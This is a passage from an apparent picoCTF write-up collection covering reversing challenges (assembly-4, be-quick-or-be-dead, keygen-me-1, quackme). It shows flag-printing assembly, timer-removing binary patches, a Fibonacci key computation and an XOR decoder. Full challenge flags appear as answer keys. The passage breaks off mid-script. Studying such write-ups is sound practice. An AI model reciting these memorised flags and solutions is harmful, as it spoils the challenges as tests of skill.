esp, 8 movsx ecx, al add ecx, 4 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-23H], cl push 26 push 74 call sub add esp, 8 mov byte [ebp-21H], al push 45 push 52 call sub add esp, 8 push 35 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-1FH], al push 51 push 70 call sub add esp, 8 push 47 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-1DH], al push 41 push 91 call sub add esp, 8 mov byte [ebp-1BH], al push 34 push 93 call sub add esp, 8 movsx ecx, al sub ecx, 21 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 movsx ecx, cl sub ecx, 9 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-19H], cl lea ebx, [ebp-44H] lea esi, [ebp-18H] L_001: sub esp, 4 push 1 push ebx push 1 call write add ebx, 2 add esp, 16 cmp ebx, esi jnz L_001 lea ebx, [ebp-43H] lea esi, [ebp-17H] L_002: sub esp, 4 push 1 push ebx push 1 call write add ebx, 2 add esp, 16 cmp esi, ebx jnz L_002 mov eax, 0 lea esp, [ebp-0CH] pop ecx pop ebx pop esi pop ebp lea esp, [ecx-4H] ret ================================================ FILE: Reversing/assembly-4/solution/Makefile ================================================ all: nasm -f elf32 comp.nasm gcc -m32 comp.o ./a.out clean: rm a.out comp.o ================================================ FILE: Reversing/assembly-4/solution/comp.nasm ================================================ global rrf0 global rrf1 global rrf2 global rrf3 global rrf4 global rrf5 global rrf6 global rrf7 global rrf8 global rrf9 global rrfcl global rrfscl global rrflt global rrfeq global rrfgt global rrfqm global rrfat global rrfA global rrfB global rrfC global rrfD global rrfE global rrfF global rrfG global rrfH global rrfI global rrfJ global rrfK global rrfL global rrfM global rrfN global rrfO global rrfP global rrfQ global rrfR global rrfS global rrfT global rrfU global rrfV global rrfW global rrfX global rrfY global rrfZ global rrflb global rrfbs global rrfrb global rrfct global rrfus global rrftl global rrfa global rrfb global rrfc global rrfd global rrfe global rrff global rrfg global rrfh global rrfi global rrfj global rrfk global rrfl global rrfm global rrfn global rrfo global rrfp global rrfq global rrfr global rrfs global rrft global rrfu global rrfv global rrfw global rrfx global rrfy global rrfz global rrflcb global rrfst global rrfrcb global rrf00 global add global sub global xor global main extern write SECTION .text rrf0: mov eax, 48 ret rrf1: mov eax, 49 ret rrf2: mov eax, 50 ret rrf3: mov eax, 51 ret rrf4: mov eax, 52 ret rrf5: mov eax, 53 ret rrf6: mov eax, 54 ret rrf7: mov eax, 55 ret rrf8: mov eax, 56 ret rrf9: mov eax, 57 ret rrfcl: mov eax, 58 ret rrfscl: mov eax, 59 ret rrflt: mov eax, 60 ret rrfeq: mov eax, 61 ret rrfgt: mov eax, 62 ret rrfqm: mov eax, 63 ret rrfat: mov eax, 64 ret rrfA: mov eax, 65 ret rrfB: mov eax, 66 ret rrfC: mov eax, 67 ret rrfD: mov eax, 68 ret rrfE: mov eax, 69 ret rrfF: mov eax, 70 ret rrfG: mov eax, 71 ret rrfH: mov eax, 72 ret rrfI: mov eax, 73 ret rrfJ: mov eax, 74 ret rrfK: mov eax, 75 ret rrfL: mov eax, 76 ret rrfM: mov eax, 77 ret rrfN: mov eax, 78 ret rrfO: mov eax, 79 ret rrfP: mov eax, 80 ret rrfQ: mov eax, 81 ret rrfR: mov eax, 82 ret rrfS: mov eax, 83 ret rrfT: mov eax, 84 ret rrfU: mov eax, 85 ret rrfV: mov eax, 86 ret rrfW: mov eax, 87 ret rrfX: mov eax, 88 ret rrfY: mov eax, 89 ret rrfZ: mov eax, 90 ret rrflb: mov eax, 91 ret rrfbs: mov eax, 92 ret rrfrb: mov eax, 93 ret rrfct: mov eax, 94 ret rrfus: mov eax, 95 ret rrftl: mov eax, 96 ret rrfa: mov eax, 97 ret rrfb: mov eax, 98 ret rrfc: mov eax, 99 ret rrfd: mov eax, 100 ret rrfe: mov eax, 101 ret rrff: mov eax, 102 ret rrfg: mov eax, 103 ret rrfh: mov eax, 104 ret rrfi: mov eax, 105 ret rrfj: mov eax, 106 ret rrfk: mov eax, 107 ret rrfl: mov eax, 108 ret rrfm: mov eax, 109 ret rrfn: mov eax, 110 ret rrfo: mov eax, 111 ret rrfp: mov eax, 112 ret rrfq: mov eax, 113 ret rrfr: mov eax, 114 ret rrfs: mov eax, 115 ret rrft: mov eax, 116 ret rrfu: mov eax, 117 ret rrfv: mov eax, 118 ret rrfw: mov eax, 119 ret rrfx: mov eax, 120 ret rrfy: mov eax, 121 ret rrfz: mov eax, 122 ret rrflcb: mov eax, 123 ret rrfst: mov eax, 124 ret rrfrcb: mov eax, 125 ret rrf00: mov eax, 0 ret add: movsx ecx, byte [esp+4H] sub ecx, 48 add ecx, dword [esp+8H] mov edx, 3524075731 mov eax, ecx imul edx add edx, ecx sar edx, 6 mov eax, ecx sar eax, 31 sub edx, eax imul edx, edx, 78 sub ecx, edx lea eax, [ecx+30H] ret sub: movsx ecx, byte [esp+4H] sub ecx, 48 sub ecx, dword [esp+8H] mov edx, 3524075731 mov eax, ecx imul edx add edx, ecx sar edx, 6 mov eax, ecx sar eax, 31 sub edx, eax imul edx, edx, 78 sub ecx, edx mov edx, ecx lea ecx, [ecx+7EH] lea eax, [edx+30H] test edx, edx cmovs eax, ecx ret xor: movsx ecx, byte [esp+4H] sub ecx, 48 mov eax, dword [esp+8H] and eax, 07H xor ecx, eax mov edx, 3524075731 mov eax, ecx imul edx add edx, ecx sar edx, 6 mov eax, ecx sar eax, 31 sub edx, eax imul edx, edx, 78 sub ecx, edx lea eax, [ecx+30H] ret main: lea ecx, [esp+4H] and esp, 0FFFFFFF0H push dword [ecx-4H] push ebp mov ebp, esp push esi push ebx push ecx sub esp, 60 push 39 push 73 call sub add esp, 8 mov byte [ebp-44H], al push 48 push 99 call sub add esp, 8 push 24 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-42H], al push 44 push 68 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 05H mov ebx, 3524075731 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-40H], cl push 41 push 121 call sub add esp, 8 push 47 movsx eax, al push eax call sub add esp, 8 movsx ecx, al sub ecx, 48 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-3EH], cl push 31 push 54 call sub add esp, 8 push 34 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-3CH], al push 54 push 55 call sub add esp, 8 push 49 movsx ecx, al add ecx, 6 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax lea eax, [ecx+30H] movsx eax, al push eax call sub add esp, 8 mov byte [ebp-3AH], al push 40 push 108 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 02H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-38H], cl mov byte [ebp-36H], 123 push 50 push 99 call sub add esp, 8 mov byte [ebp-34H], al mov byte [ebp-32H], 95 push 32 push 102 call sub add esp, 8 push 22 movsx eax, al push eax call sub add esp, 8 movsx ecx, al add ecx, 8 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-30H], cl push 20 push 107 call sub add esp, 8 push 39 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-2EH], al push 46 push 80 call sub add esp, 8 mov byte [ebp-2CH], al push 27 push 78 call sub add esp, 8 mov byte [ebp-2AH], al push 28 push 123 call sub add esp, 8 mov byte [ebp-28H], al mov byte [ebp-26H], 55 push 36 push 84 call sub add esp, 8 mov byte [ebp-24H], al push 33 push 107 call sub add esp, 8 push 39 movsx ecx, al sub ecx, 48 xor ecx, 04H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax lea eax, [ecx+30H] movsx eax, al push eax call sub add esp, 8 mov byte [ebp-22H], al push 49 push 66 call sub add esp, 8 mov byte [ebp-20H], al mov byte [ebp-1EH], 99 push 36 push 57 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 07H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 movsx ecx, cl sub ecx, 22 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-1CH], cl mov byte [ebp-1AH], 109 mov byte [ebp-43H], 80 push 18 push 67 call sub add esp, 8 mov byte [ebp-41H], al push 32 push 112 call sub add esp, 8 push 25 movsx eax, al lea ecx, [eax+5H] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-3FH], al push 37 push 109 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 06H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 movsx ecx, cl add ecx, 3 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-3DH], cl push 31 push 49 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 04H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-3BH], cl push 23 push 118 call sub add esp, 8 mov byte [ebp-39H], al push 43 push 81 call sub add esp, 8 mov byte [ebp-37H], al push 34 push 61 call sub add esp, 8 movsx ecx, al sub ecx, 48 xor ecx, 03H mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 movsx ecx, cl sub ecx, 4 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-35H], cl push 51 push 100 call sub add esp, 8 mov byte [ebp-33H], al push 27 push 80 call sub add esp, 8 mov byte [ebp-31H], al mov byte [ebp-2FH], 95 push 40 push 110 call sub add esp, 8 push 42 movsx eax, al push eax call sub add esp, 8 movsx ecx, al sub ecx, 26 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-2DH], cl push 43 push 94 call sub add esp, 8 movsx eax, al lea ecx, [eax-30H] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 movsx eax, al lea ecx, [eax-30H] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 mov byte [ebp-2BH], al push 22 push 79 call sub add esp, 8 mov byte [ebp-29H], al push 20 push 104 call sub add esp, 8 movsx eax, al lea ecx, [eax-1EH] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 movsx eax, al lea ecx, [eax-18H] mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax mov eax, ecx add eax, 48 mov byte [ebp-27H], al push 24 push 48 call sub add esp, 8 push 54 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-25H], al push 50 push 70 call sub add esp, 8 push 20 movsx eax, al push eax call sub add esp, 8 movsx ecx, al add ecx, 4 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-23H], cl push 26 push 74 call sub add esp, 8 mov byte [ebp-21H], al push 45 push 52 call sub add esp, 8 push 35 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-1FH], al push 51 push 70 call sub add esp, 8 push 47 movsx eax, al push eax call sub add esp, 8 mov byte [ebp-1DH], al push 41 push 91 call sub add esp, 8 mov byte [ebp-1BH], al push 34 push 93 call sub add esp, 8 movsx ecx, al sub ecx, 21 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 movsx ecx, cl sub ecx, 9 mov eax, ecx imul ebx lea eax, [edx+ecx] sar eax, 6 mov edx, ecx sar edx, 31 sub eax, edx imul eax, eax, 78 sub ecx, eax add ecx, 48 mov byte [ebp-19H], cl lea ebx, [ebp-44H] lea esi, [ebp-18H] L_001: sub esp, 4 push 1 push ebx push 1 call write add ebx, 2 add esp, 16 cmp ebx, esi jnz L_001 lea ebx, [ebp-43H] lea esi, [ebp-17H] L_002: sub esp, 4 push 1 push ebx push 1 call write add ebx, 2 add esp, 16 cmp esi, ebx jnz L_002 mov eax, 0 lea esp, [ebp-0CH] pop ecx pop ebx pop esi pop ebp lea esp, [ecx-4H] ret ================================================ FILE: Reversing/assembly-4/solution/solve.sh ================================================ make all echo ================================================ FILE: Reversing/be-quick-or-be-dead-1/README.md ================================================ # be-quick-or-be-dead-1 Points: 200 ## Category Reversing ## Question >You [find](https://www.youtube.com/watch?v=CTt1vk9nM9c) this when searching for some music, which leads you to [be-quick-or-be-dead-1](files/be-quick-or-be-dead-1). Can you run it fast enough? You can also find the executable in /problems/be-quick-or-be-dead-1_3_aeb48854203a88fb1da963f41ae06a1c. ### Hint >What will the key finally be? ## Solution Overwrite the _set_timer_ function with nops by patching the program. ```asm [0x00400849]> pdf | ;-- main: / (fcn) sym.main 62 | sym.main (int arg1, int arg2); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; DATA XREF from entry0 (0x4005bd) | 0x00400827 55 push rbp | 0x00400828 4889e5 mov rbp, rsp | 0x0040082b 4883ec10 sub rsp, 0x10 | 0x0040082f 897dfc mov dword [local_4h], edi ; arg1 | 0x00400832 488975f0 mov qword [local_10h], rsi ; arg2 | 0x00400836 b800000000 mov eax, 0 | 0x0040083b e8a9ffffff call sym.header | 0x00400840 b800000000 mov eax, 0 | 0x00400845 90 nop | 0x00400846 90 nop | 0x00400847 90 nop | 0x00400848 90 nop | 0x00400849 90 nop | 0x0040084a b800000000 mov eax, 0 | 0x0040084f e842ffffff call sym.get_key | 0x00400854 b800000000 mov eax, 0 | 0x00400859 e863ffffff call sym.print_flag | 0x0040085e b800000000 mov eax, 0 | 0x00400863 c9 leave \ 0x00400864 c3 ret [0x00400849]> exit ``` Save and run the program to get the flag. Patched binary [be-quick-or-be-dead-1_patched](solution/be-quick-or-be-dead-1_patched). ### Flag `picoCTF{why_bother_doing_unnecessary_computation_27f28e71}` ================================================ FILE: Reversing/be-quick-or-be-dead-2/README.md ================================================ # be-quick-or-be-dead-2 Points: 275 ## Category Reversing ## Question >As you enjoy this [music](https://www.youtube.com/watch?v=CTt1vk9nM9c) even more, another executable [be-quick-or-be-dead-2](files/be-quick-or-be-dead-2) shows up. Can you run this fast enough too? You can also find the executable in /problems/be-quick-or-be-dead-2_4_aeb39eed03c948aec1bf7fa3d03dad0c. ### Hint >Can you call stuff without executing the entire program? > >What will the key finally be? ## Solution Patch the binary to remove the _set_timer_ function using NOPs. ```asm [0x0040085f]> wx 9090909090 @ 0x0040087d [0x0040085f]> pdf ;-- main: / (fcn) sym.main 62 | sym.main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x4005bd) | 0x0040085f 55 push rbp | 0x00400860 4889e5 mov rbp, rsp | 0x00400863 4883ec10 sub rsp, 0x10 | 0x00400867 897dfc mov dword [local_4h], edi ; argc | 0x0040086a 488975f0 mov qword [local_10h], rsi ; argv | 0x0040086e b800000000 mov eax, 0 | 0x00400873 e8a9ffffff call sym.header | 0x00400878 b800000000 mov eax, 0 | 0x0040087d 90 nop | 0x0040087e 90 nop | 0x0040087f 90 nop | 0x00400880 90 nop | 0x00400881 90 nop | 0x00400882 b800000000 mov eax, 0 | 0x00400887 e842ffffff call sym.get_key | 0x0040088c b800000000 mov eax, 0 | 0x00400891 e863ffffff call sym.print_flag | 0x00400896 b800000000 mov eax, 0 | 0x0040089b c9 leave \ 0x0040089c c3 ret ``` Studying the binary, it seems that it's doing the Fibonacci sequence recursively, that's why it takes so long. We can use Python to calculate the result iteratively. This will make the process a lot faster. Code stolen from: https://gist.github.com/sgammon/4185115 ```python n = 1083 def fib(n): i = 0 nextterm = 1 present = 1 previous = 0 while i < n: nextterm = present + previous present = previous previous = nextterm i = i + 1 return nextterm result = fib(n) print(result & (2 ** 64 - 1)) ``` We need to convert the huge number into a 64-bit number so that our program can process it. This is done by doing `result & (2 ** 64 - 1)`. We get `13519797236961659458` Now all we have to do is to patch the binary, and set `rax = 13519797236961659458`. We will need 10 bytes to create this instruction. We can ovewrite from addresses `0x004007dc` to `0x004007e5`. ```asm / (fcn) sym.get_key 43 | sym.get_key (); | ... | ... | 0x004007d7 e854fdffff call sym.imp.puts ; int puts(const char *s) | 0x004007dc b800000000 mov eax, 0 | 0x004007e1 e865ffffff call sym.calculate_key | 0x004007e6 8905d4082000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010c0:4]=0 | 0x004007ec bfcb094000 mov edi, str.Done_calculating_key ; 0x4009cb ; "Done calculating key" ; const char *s | 0x004007f1 e83afdffff call sym.imp.puts ; int puts(const char *s) | ... \ ... ``` Now all we have left to do is to patch it and run it. ```asm [0x004007ce]> wa mov rax, 13519797236961659458 @ 0x004007dc Written 10 byte(s) (mov rax, 13519797236961659458) = wx 48b8424a68c0f4f79fbb [0x004007ce]> pdf / (fcn) sym.get_key 43 | sym.get_key (); | ; CALL XREF from sym.main (0x400887) | 0x004007ce 55 push rbp | 0x004007cf 4889e5 mov rbp, rsp | 0x004007d2 bfb8094000 mov edi, str.Calculating_key... ; 0x4009b8 ; "Calculating key..." ; const char *s | 0x004007d7 e854fdffff call sym.imp.puts ; int puts(const char *s) | 0x004007dc 48b8424a68c0. movabs rax, 0xbb9ff7f4c0684a42 | 0x004007e6 8905d4082000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010c0:4]=0 | 0x004007ec bfcb094000 mov edi, str.Done_calculating_key ; 0x4009cb ; "Done calculating key" ; const char *s | 0x004007f1 e83afdffff call sym.imp.puts ; int puts(const char *s) | 0x004007f6 90 nop | 0x004007f7 5d pop rbp \ 0x004007f8 c3 ret ``` ``` $ ./be-quick-or-be-dead-2_patched Be Quick Or Be Dead 2 ===================== Calculating key... Done calculating key Printing flag: picoCTF{the_fibonacci_sequence_can_be_done_fast_88f31f48} ``` And we get the flag. ### Flag `picoCTF{the_fibonacci_sequence_can_be_done_fast_88f31f48}` ================================================ FILE: Reversing/be-quick-or-be-dead-2/solution/calculate.py ================================================ n = 1083 def fib(n): i = 0 nextterm = 1 present = 1 previous = 0 while i < n: nextterm = present + previous present = previous previous = nextterm i = i + 1 #print nextterm return nextterm result = fib(n) print(result & (2 ** 64 - 1)) ================================================ FILE: Reversing/be-quick-or-be-dead-3/README.md ================================================ # be-quick-or-be-dead-3 Points: 350 ## Category Reversing ## Question >As the [song](https://www.youtube.com/watch?v=CTt1vk9nM9c) draws closer to the end, another executable [be-quick-or-be-dead-3](files/be-quick-or-be-dead-3) suddenly pops up. This one requires even faster machines. Can you run it fast enough too? You can also find the executable in /problems/be-quick-or-be-dead-3_1_036263621db6b07c874d55f1e0bba59d. ### Hint >How do you speed up a very repetitive computation? ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Reversing/be-quick-or-be-dead-3/solution/solve.py ================================================ def calc(n): if n <= 4: x = n * n + 0x2345 else: x = calc(n - 5) * 0x1234 + (calc(n - 1) - calc(n - 2) - calc(n - 3) - calc(n - 3)) return x print calc(5) ================================================ FILE: Reversing/keygen-me-1/README.md ================================================ # keygen-me-1 Points: 400 ## Category Reversing ## Question >Can you generate a valid product key for the validation [program](files/activate) in /problems/keygen-me-1_1_8eb35cc7858ff1d2f55d30e5428f30a7 ### Hint No Hints. ## Solution Unsolved ### Flag `flag` ================================================ FILE: Reversing/keygen-me-1/solution/test.c ================================================ /* int validate_key(int arg0) { var_4 = arg0; esp = (esp - 0x10) + 0x10; var_C = strlen(var_4); var_14 = 0x0; for (var_10 = 0x0; var_C - 0x1 > var_10; var_10 = var_10 + 0x1) { esp = (esp - 0x10) + 0x10; var_14 = var_14 + (var_10 + 0x1) * (sign_extend_32(ord(sign_extend_32(*(int8_t *)(var_4 + var_10) & 0xff))) + 0x1); } eax = *(int8_t *)(var_4 + (var_C - 0x1)) & 0xff; eax = ord(sign_extend_32(eax)); eax = var_14 - ((HIDWORD(var_14 * 0x38e38e39) >> 0x3 << 0x3) + (HIDWORD(var_14 * 0x38e38e39) >> 0x3) << 0x2) == sign_extend_32(eax) ? 0x1 : 0x0; return eax; } */ int validate_key(int keyArgs) { key = keyArgs; esp = (esp - 0x10) + 0x10; key_length = strlen(key); var_14 = 0; for (int i = 0; key_length - 1 > i; i++) { esp = (esp - 0x10) + 0x10; var_14 += (i + 1) * (sign_extend_32(ord(sign_extend_32(*(int8_t *)(var_4 + i) & 0xff))) + 0x1); } eax = *(int8_t *)(key + (key_length - 0x1)) & 0xff; eax = ord(sign_extend_32(eax)); eax = var_14 - ((HIDWORD(var_14 * 0x38e38e39) >> 0x3 << 0x3) + (HIDWORD(var_14 * 0x38e38e39) >> 0x3) << 0x2) == sign_extend_32(eax) ? 0x1 : 0x0; return eax; } ================================================ FILE: Reversing/quackme/README.md ================================================ # quackme Points: 200 ## Category Reversing ## Question >Can you deal with the Duck Web? Get us the flag from this [program](files/main). You can also find the program in /problems/quackme_4_0e48834ea71b521b9f35d29dc7be974e. ### Hint >Objdump or something similar is probably a good place to start. ## Solution Upon listing all the functions, there are multiple written functions. We can analyse and print the function `do_magic()` ```asm [0x08048642]> pdf / (fcn) sym.do_magic 211 | sym.do_magic (); | ; var int local_1dh @ ebp-0x1d | ; var int local_1ch @ ebp-0x1c | ; var int local_18h @ ebp-0x18 | ; var int local_14h @ ebp-0x14 | ; var int local_10h @ ebp-0x10 | ; var int local_ch @ ebp-0xc | ; CALL XREF from sym.main (0x804874a) | 0x08048642 55 push ebp | 0x08048643 89e5 mov ebp, esp | 0x08048645 83ec28 sub esp, 0x28 ; '(' | 0x08048648 e88effffff call sym.read_input | 0x0804864d 8945ec mov dword [local_14h], eax | 0x08048650 83ec0c sub esp, 0xc | 0x08048653 ff75ec push dword [local_14h] | 0x08048656 e835feffff call sym.imp.strlen ; size_t strlen(const char *s) | 0x0804865b 83c410 add esp, 0x10 | 0x0804865e 8945f0 mov dword [local_10h], eax | 0x08048661 8b45f0 mov eax, dword [local_10h] | 0x08048664 83c001 add eax, 1 | 0x08048667 83ec0c sub esp, 0xc | 0x0804866a 50 push eax | 0x0804866b e8f0fdffff call sym.imp.malloc ; void *malloc(size_t size) | 0x08048670 83c410 add esp, 0x10 | 0x08048673 8945f4 mov dword [local_ch], eax | 0x08048676 837df400 cmp dword [local_ch], 0 | ,=< 0x0804867a 751a jne 0x8048696 | | 0x0804867c 83ec0c sub esp, 0xc | | 0x0804867f 6884880408 push str.malloc___returned_NULL._Out_of_Memory ; 0x8048884 ; "malloc() returned NULL. Out of Memory\n" | | 0x08048684 e8e7fdffff call sym.imp.puts ; int puts(const char *s) | | 0x08048689 83c410 add esp, 0x10 | | 0x0804868c 83ec0c sub esp, 0xc | | 0x0804868f 6aff push 0xffffffffffffffff | | 0x08048691 e8eafdffff call sym.imp.exit ; void exit(int status) | | ; CODE XREF from sym.do_magic (0x804867a) | `-> 0x08048696 8b45f0 mov eax, dword [local_10h] | 0x08048699 83c001 add eax, 1 | 0x0804869c 83ec04 sub esp, 4 | 0x0804869f 50 push eax | 0x080486a0 6a00 push 0 | 0x080486a2 ff75f4 push dword [local_ch] | 0x080486a5 e816feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n) | 0x080486aa 83c410 add esp, 0x10 | 0x080486ad c745e4000000. mov dword [local_1ch], 0 | 0x080486b4 c745e8000000. mov dword [local_18h], 0 | ,=< 0x080486bb eb4e jmp 0x804870b | | ; CODE XREF from sym.do_magic (0x8048711) | .--> 0x080486bd 8b45e8 mov eax, dword [local_18h] | :| 0x080486c0 0558880408 add eax, obj.sekrutBuffer | :| 0x080486c5 0fb608 movzx ecx, byte [eax] | :| 0x080486c8 8b55e8 mov edx, dword [local_18h] | :| 0x080486cb 8b45ec mov eax, dword [local_14h] | :| 0x080486ce 01d0 add eax, edx | :| 0x080486d0 0fb600 movzx eax, byte [eax] | :| 0x080486d3 31c8 xor eax, ecx | :| 0x080486d5 8845e3 mov byte [local_1dh], al | :| 0x080486d8 8b1538a00408 mov edx, dword obj.greetingMessage ; [0x804a038:4]=0x80487f0 str.You_have_now_entered_the_Duck_Web__and_you_re_in_for_a_honkin__good_time.__Can_you_figure_out_my_trick | :| 0x080486de 8b45e8 mov eax, dword [local_18h] | :| 0x080486e1 01d0 add eax, edx | :| 0x080486e3 0fb600 movzx eax, byte [eax] | :| 0x080486e6 3a45e3 cmp al, byte [local_1dh] | ,===< 0x080486e9 7504 jne 0x80486ef | |:| 0x080486eb 8345e401 add dword [local_1ch], 1 | |:| ; CODE XREF from sym.do_magic (0x80486e9) | `---> 0x080486ef 837de419 cmp dword [local_1ch], 0x19 ; [0x19:4]=-1 ; 25 | ,===< 0x080486f3 7512 jne 0x8048707 | |:| 0x080486f5 83ec0c sub esp, 0xc | |:| 0x080486f8 68ab880408 push str.You_are_winner ; 0x80488ab ; "You are winner!" | |:| 0x080486fd e86efdffff call sym.imp.puts ; int puts(const char *s) | |:| 0x08048702 83c410 add esp, 0x10 | ,====< 0x08048705 eb0c jmp 0x8048713 | ||:| ; CODE XREF from sym.do_magic (0x80486f3) | |`---> 0x08048707 8345e801 add dword [local_18h], 1 | | :| ; CODE XREF from sym.do_magic (0x80486bb) | | :`-> 0x0804870b 8b45e8 mov eax, dword [local_18h] | | : 0x0804870e 3b45f0 cmp eax, dword [local_10h] | | `==< 0x08048711 7caa jl 0x80486bd | `----> 0x08048713 c9 leave \ 0x08048714 c3 ret ``` Let's take a look what is necessary to get to `puts("You are winner!");` address. We see that we need to pass this test where _ebp + 0x1c_ must be equals to _0x19_. ```asm 0x080486ef 837de419 cmp dword [local_1ch], 0x19 ; [0x19:4]=-1 ; 25 ... 0x080486f8 68ab880408 push str.You_are_winner ; 0x80488ab ; "You are winner!" 0x080486fd e86efdffff call sym.imp.puts ; int puts(const char *s) ``` Looking around the assembly, we can see that there is an instruction that adds _1_ to _ebp + 0x1c_. ```asm 0x080486eb 8345e401 add dword [local_1ch], 1 ``` We also notice that there is a loop at the bottom of the assembly. ```asm ; CODE XREF from sym.do_magic (0x80486f3) 0x08048707 8345e801 add dword [local_18h], 1 ; CODE XREF from sym.do_magic (0x80486bb) 0x0804870b 8b45e8 mov eax, dword [local_18h] 0x0804870e 3b45f0 cmp eax, dword [local_10h] 0x08048711 7caa jl 0x80486bd ``` Debugging the program, we can see that the number of loops it does corresponds to the number of characters inputted. We also see that there's an XOR function, where _eax_ is the characters you put in and _ecx_ are the characters provided by the binary. ```asm 0x080486d3 31c8 xor eax, ecx ``` Putting everything together, it is trying to loop through every character in the input, xor it with the characters in the binary make sure it equates to the initial message. The initial message is: _You have now entered the Duck Web, and you're in for a honkin' good time._ Writing some pseudo code, it will look something like this ``` count = 0 for (i = 0; i < length_of_user_input; i++) { data = user_input[i] xor binary_data[i] if (data == initial_message[i]) { count += 1 } if (count == 25) { print "You are winner!" } } ``` Let's leak the values of the binary string. We see that the string is located in here ```asm 0x080486c0 0558880408 add eax, obj.sekrutBuffer ``` Get the value from the address ```asm [0x08048642]> px @ obj.sekrutBuffer - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x08048858 2906 164f 2b35 301e 511b 5b14 4b08 5d2b )..O+50.Q.[.K.]+ 0x08048868 5014 5d00 1917 5952 5d00 4e6f 206c 696e P.]...YR].No lin ``` We only need the first 25 bytes. We can then use a Python program to XOR the data ourselves and get the flag. ```python initialMsg = "You have now entered the Duck Web, and you're in for a honkin' good time." xorData = '2906164f2b35301e511b5b144b085d2b50145d00191759525d'.decode('hex') flag = '' for i in range(len(xorData)): 